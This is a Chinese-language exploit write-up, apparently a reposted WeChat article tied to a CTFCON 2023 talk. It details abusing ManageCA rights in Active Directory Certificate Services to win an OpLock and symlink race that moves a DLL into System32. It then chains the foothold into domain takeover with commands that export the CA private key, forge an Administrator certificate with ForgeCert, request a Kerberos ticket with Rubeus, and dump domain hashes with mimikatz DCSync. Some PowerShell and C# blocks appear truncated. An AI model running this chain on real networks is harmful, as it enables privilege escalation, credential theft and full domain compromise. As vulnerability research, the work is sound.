此报告记录了 Active Directory 证书服务 (AD CS) 中的一个本地特权提升漏洞。该漏洞是由 Certsrv 创建 CRL 文件时的争用条件漏洞导致的。在 CA 上具有 ManageCA ACL 的任何标准用户都可以发布 CRL 分发点 (CDP) 并将任意文件移动到受限制的目录(例如,C:WindowsSystem32)。攻击者可以利用此漏洞将DLL写入C:WindowsSystem32目录或覆盖服务二进制文件,从而实现本地权限提升。
该漏洞已在最新的Windows系统(截至2023年10月24日)上成功验证,系统版本为Windows Server 2022 Datacenter 21H2(20348.2031)。
我在 CTFCON 2023 上分享了这个技巧,相关会议的幻灯片和 POC 在这里: CTFCON2023-POC
描述
CRL 分发点 (CDP)
CRL(证书吊销列表)是一个文件,其中包含已吊销且不再有效的证书的标识符。CA 必须定期在可访问的路径中发布 CRL,以便客户端可以检查证书的有效性。这可以通过在其配置中指示一个或多个 CDP 来完成,如下图所示。
在设置新的CDP时,我们可以使用多种网络协议(HTTP,LDAP,FTP或SMB)指定本地或远程路径。此外,我们必须选择 CDP 是用于读取、写入还是两者兼而有之。
在这里,我们只关注第一个 CDP 选项(将 CRL 发布到此位置):将发布 CRL 的本地或远程路径。若要指定远程路径,仅支持 LDAP 和 SMB 协议。
任意文件写入(准确地说,它不是任意的)
那么我们可以通过滥用CDP来实现任意文件写入吗?
当我们意识到 CDP 可以写入除预期扩展名 (.crl) 以外的任何扩展名的文件时,这个想法变得更加强烈。
为了验证这个想法,我们可以通过以下步骤成功写入任意文件:
-
打开 certsrv.msc 并创建第一个 CDP 以在所需路径 () 中写入 CRL,并添加适当的扩展名(例如,.dll)。在此步骤中,我们选择第一个 CDP 选项“将 CRL 发布到此位置”。如下图所示。
file://C:/Workspace/malicious.dll
-
指定第二个恶意 CDP,并将恶意负载作为路径 (),该路径将插入到第一个 CDP 生成的 CRL 中。如下图所示。
file://testtesttesttesttest
当我们单击“应用”时,系统将要求我们重新启动certsrv服务。因为必须重新启动 Active Directory 证书服务才能使更改生效。
-
选择“吊销的证书”>“所有任务”>“发布”以发布 CRL。您将看到恶意.dll已写入C:Workspace目录。如下图所示。
但是,当我们使用命令查看写入的恶意.dll文件时,我们发现文件内容中还有很多其他杂乱的数据,如下图所示。因此,仅仅依靠上述步骤来实现任意文件写入(例如写入dll进行dll劫持)和权限提升是不够的。type
而且,当我们在进程监视器中观察此过程时,我们发现整个过程是在 NT AUTHORITYSYSTEM 帐户的特权下执行的,并且所有这些进程都没有任何模拟。如下图所示。
从Process Monitor中,我们可以看到整个过程如下:
-
Certsrv 将首先尝试打开 C:Workspacemalicious.dll,但它将失败,因为该文件此时不存在。
-
Certsrv 开始创建恶意 .dll 文件。在此之前,将创建一个临时文件(上图中的pre4C01.tmp)。
-
最后,Certsrv 会将 pre4C01.tmp 重命名为目标文件 恶意 .dll。如下图所示,您可以看到 C:Workspacepre4C01.tmp 上的 SetRenameInformationFile 操作,并且用户也是 NT AUTHORITYSYSTEM。如下图所示。
如果我们可以通过为“pre4C01.tmp”和“malicious.dll”创建符号链接来利用竞争条件,在执行 SetRenameInformationFile 操作之前将它们分别指向不同的源文件和目标文件,我们可以利用此时的 SetRenameInformationFile 操作来实现任意文件移动。
但是,在上述特定场景中,我的尝试没有成功,并且我没有参与 Windows 的竞争条件。
任意文件移动
为了最终实现任意文件移动,我进行了以下探索。
如果目标文件(C:Workspacemalicious.dll)在开头存在,该怎么办?
这一次,我首先创建了 C:Workspacemalicious.dll,然后重新执行了上述添加 CDP 和发布 CRL 的过程,并使用进程监视器检测了以下过程。如下图所示。
从进程监视器中,我们可以看到以下过程:
-
Certsrv 将首先尝试打开 C:Workspacemalicious.dll,它会成功,因为此时该文件确实存在。
-
Certsrv 开始创建恶意 .dll 文件。在此之前,将创建一个临时文件(上图中的preE744.tmp)。
-
Certsrv 将通过 SetRenameInformationFile 操作将旧文件(恶意.dll)重命名为临时文件(上图中的 crlE745.tmp)。如下图所示,您可以看到 C:Workspacemalicious.dll 上的 SetRenameInformationFile 操作。
-
Certsrv 会将 preE744.tmp 重命名为新的目标文件 恶意 .dll。如下图所示,可以看到 C:WorkspacepreE744.tmp 上的 SetRenameInformationFile 操作,用户也是 NT AUTHORITYSYSTEM。
-
最后,Certsrv 将删除临时文件 crlE745.tmp。
在这个过程中,我们利用漏洞的机会出现了。如果我们可以通过在旧的恶意 .dll 文件上设置一个 OpLock 来利用竞争条件,然后再对它执行 SetRenameInformationFile 操作,它将导致 Certsrv 中的所有后续进程暂停。这种暂停为我们提供了必要的时间来执行后续的漏洞利用操作。我们可以利用这个暂停来创建符号链接,最终实现任意文件移动。
因此,我们已经成功利用了该漏洞,具体的利用过程在以下文字中概述。我将使用 CORPMarcus 用户来执行漏洞利用过程,即使该用户具有用于 CA 的 ManageCA ACL,他仍然是标准域用户,如下图所示。
(1) 创建具有以下结构的目录。
<DIR> C:Workspace
|__ <DIR> Bait
|__ <DIR> MountPoint
|__ malicious.dll
可以通过执行以下 powershell cmdlet 来完成上述目录:
1 |
New-Item -Path "C:Workspace" -ItemType Directory -Force |
目录的用途是从联结到目录切换到联结到对象目录。是我们要移动到受限制位置的文件,例如 C:WindowsSystem32。MountPoint
Bait
RPC Control
malicious.dll
(2) 创建挂载点。
执行以下 PowerShell cmdlet 以创建从 到 的挂载点。C:WorkspaceMountpoint
C:WorkspaceBait
Import-Module ".NtApiDotNet.dll" -ErrorAction Stop
[NtApiDotNet.NtFile]::CreateMountPoint("??C:WorkspaceMountpoint", "??C:WorkspaceBait", $null)
(3) 准备旧的目标文件。
执行以下 PowerShell cmdlet 以创建一个文件,该文件用作前面提到的“旧文件”。C:WorkspaceMountpointtarget.txt
1 |
"This is the content of target.txt" | Set-Content -Path "C:WorkspaceMountpointtarget.txt" |
由于我们已经从 到 建立了挂载点,将在 中创建。如下图所示。C:WorkspaceMountpoint
C:WorkspaceBait
target.txt
C:WorkspaceBaittarget.txt
(4) 创建 SetOpLock 项目。
在 James Forshaw 的 NtApiDotNet 的帮助下,我们创建了一个名为“SetOpLock”的 C# 项目,以迭代方式访问文件并建立 OpLock。相关代码如下。C:WorkspaceMountpointtarget.txt
1 |
using System; |
当然,必须强调的是,我们必须在 Certsrv 初始访问旧的“target.txt”后释放 OpLock,并在首次执行 SetRenameInformationFile 操作之前在旧的“target.txt”上重新建立 OpLock。此序列对于满足漏洞利用的要求至关重要。
但是,必须强调的是,我们必须在 Certsrv 初始访问旧目标 .txt 后释放 OpLock,并在首次执行 SetRenameInformationFile 操作之前在旧目标 .txt 上重新设置 OpLock。只有按照这个顺序,才能满足漏洞利用的要求。
(5) 添加两个CDP,如下图所示。
-
CDP 1:
file://C:/Workspace/MountPoint/target.txt
-
CDP 2:
file://testtesttesttesttest
然后,打开 certsrv.msc,选择“吊销的证书”->“所有任务”->“发布”以发布 CRL。同时,我们运行之前创建的 SetOpLock.exe。
如下图所示,旧的 target.txt 已成功锁定,我们暂停了 Certsrv 服务的后续文件移动过程。而且,我们得到进程生成的临时文件名是 pre63F0.tmp。
要释放 OpLock,只需按 Enter 键 在 SetOpLock.exe 控制台中。但是,在这一点上,我们不需要发布它。
(6) 现在我们需要切换挂载点。
在此步骤之前:
1 |
# Before this step: |
我们切换挂载点并创建符号链接:
1 |
C:WorkspaceMountPoint -> RPC Control |
完成此步骤后:
1 |
# After this step: |
可以通过执行以下 powershell cmdlet 来完成此步骤:
1 |
Import-Module ".NtApiDotNet.dll" -ErrorAction Stop |
(7) 松开 OpLock。
在 SetOpLock.exe 控制台中按 Enter 键以允许 Certsrv 的后续进程恢复。这将导致成功的文件移动,如下图所示。
如下图所示,可以观察到恶意.dll已成功移动到C:WindowsSystem32目录。
此漏洞允许我们将任何 DLL 写入受限制的目录,例如 C:WindowsSystem32,并获得系统权限。例如,我们可以编写 SprintCSP.dll 并由 StorSvc 服务加载它,或者我们可以覆盖现有服务的二进制文件以获得系统权限。
域名升级的黄金证书
金牌证书
在 Lee Christensen (@tifkin_) 和 Will Schroeder (@harmj0y) 发布他们的白皮书“认证二手:滥用 Active Directory 证书服务”之后,安全行业的几乎每个人都转向了 Active Directory 证书颁发机构。
当组织安装 AD CS 时,AD 默认启用基于证书的身份验证。若要使用证书进行身份验证,CA 必须向包含允许客户端身份验证的 EKU OID 的帐户颁发证书。当帐户使用证书进行身份验证时,AD 会验证证书是否已链接到根 CA 和对象指定的 CA 证书。NTAuthCertificates
CA 使用其私钥对颁发的证书进行签名。如果我们窃取了这个私钥,我们是否可以伪造自己的证书,并使用它们作为组织中的任何人向 AD 进行身份验证?答案是肯定的。最初,该技术由 Benjamin Delpy 在 Mimikatz 和 Kekeo 中实现,如下所示。
后来,Specterops 在其白皮书中再次讨论了这个话题,并发布了一个 ForgeCert 工具,这是一个 C# 工具,可以获取 CA 根证书,并为我们提供任何指定用户的 Forge 新证书。这项技术被称为“黄金证书”。
(1)窃取CA的证书和私钥
由于我们在 AD CS 服务器上具有提升的权限,因此我们完全能够在服务器上检索和导出 CA 证书及其私钥。此过程可以通过 SharpDPAPI 工具集完成,如下所示。
1 |
SharpDPAPI.exe certificates /machine |
我们可以使用 openssl 将此 .pem 格式的文本转换为可利用的 .pfx 格式,并将其保存为 ca.pfx 文件,如下所示。
1 |
openssl pkcs12 -in ca.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out ca.pfx |
(2) 域名管理员伪造证书
通过这个包含 CA 证书和私钥的 ca.pfx 文件,攻击者可以将其上传到常规域计算机并使用它来伪造证书。在这里,我们使用 ForgeCert 工具来完成此过程。执行以下命令,通过之前被盗的 ca.pfx 为域管理员用户 Administrator 注册证书。
1 |
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Passw0rd" --Subject "CN=User" --SubjectAltName "[email protected]" --NewCertPath Administrator.pfx --NewCertPassword "NewPassw0rd" --CRL http://ca01.corp.local/CertEnroll/corp-CA01-CA.crl |
(3) 获取域名管理员的 TGT
生成的 Administrator.pfx 可用于 Kerberos PKINIT 身份验证和伪造请求 TGT 的用户,如下所示。
1 |
Rubeus.exe asktgt /user:Administrator /certificate:C:UsersMarcusAdministrator.pfx /password:NewPassw0rd /ptt |
执行该命令将看到 TGT 缓存在计算机中,然后我们可以使用它来访问域控制器。此时,您可以执行 DCSync 攻击并转储域哈希,表明您已提升为域管理员权限。klist
1 |
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:CORPAdministrator" exit |
至此,我们已经成功实现了域权限提升。
KDC_ERR_CLIENT_NOT_TRUSTED
当我第一次尝试伪造黄金证书时,我没有通过选项指定 CRL,最终在 Rubeus 申请 TGT 时收到错误,如下图所示。--CRL
KDC_ERR_CLIENT_NOT_TRUSTED
最终,我在 Oliver Lyak (@ly4k_) 的 Certipy 项目文档中找到了以下描述:
然后,伪造的证书可用于通过 Certipy 的
auth
命令进行身份验证。如果 KDC 返回KDC_ERR_CLIENT_NOT_TRUSTED
,则表示锻造不正确。这通常是由于证书中缺少证书吊销列表 (CRL) 而发生的。可以使用-crl
手动指定 CRL,也可以使用以前颁发的证书作为带有-template
参数的模板。
因此,当 ForgeCert 伪造域管理员并成功解决问题时,我指定为默认的 CRL HTTP 分发点。但我不确定是否可以跳过此操作。--CRL
http://<CA server name>CertEnroll<CDP variables>
请注意
(1) 要利用此漏洞,当前用户必须具有CA的ACL,因为利用过程涉及修改CA配置。如下图所示。ManageCA
(2) 由于竞争条件的概率性,前面讨论的第四步(涉及添加两个 CDP)不一定能成功锁定旧的 target.txt 文件。因此,可能需要多次尝试发布 CRL 才能获得所需的结果。
原文始发于微信公众号(伞神安全):AD CS - 滥用 ManageCA 权限的新方法
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论